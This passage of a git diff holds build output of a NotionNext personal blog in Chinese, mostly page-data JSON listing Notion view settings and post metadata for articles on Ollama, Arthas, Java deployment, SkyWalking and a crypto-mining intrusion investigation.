d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":1,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":25,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},"next":{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},"recommendPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""}]},"__N_SSG":true},"page":"/[prefix]/[slug]","query":{"prefix":"article","slug":"example-6"},"buildId":"xl8RIHPvivYKGN-nsdmr6","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"dynamicIds":[10635],"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file
+              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":8,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 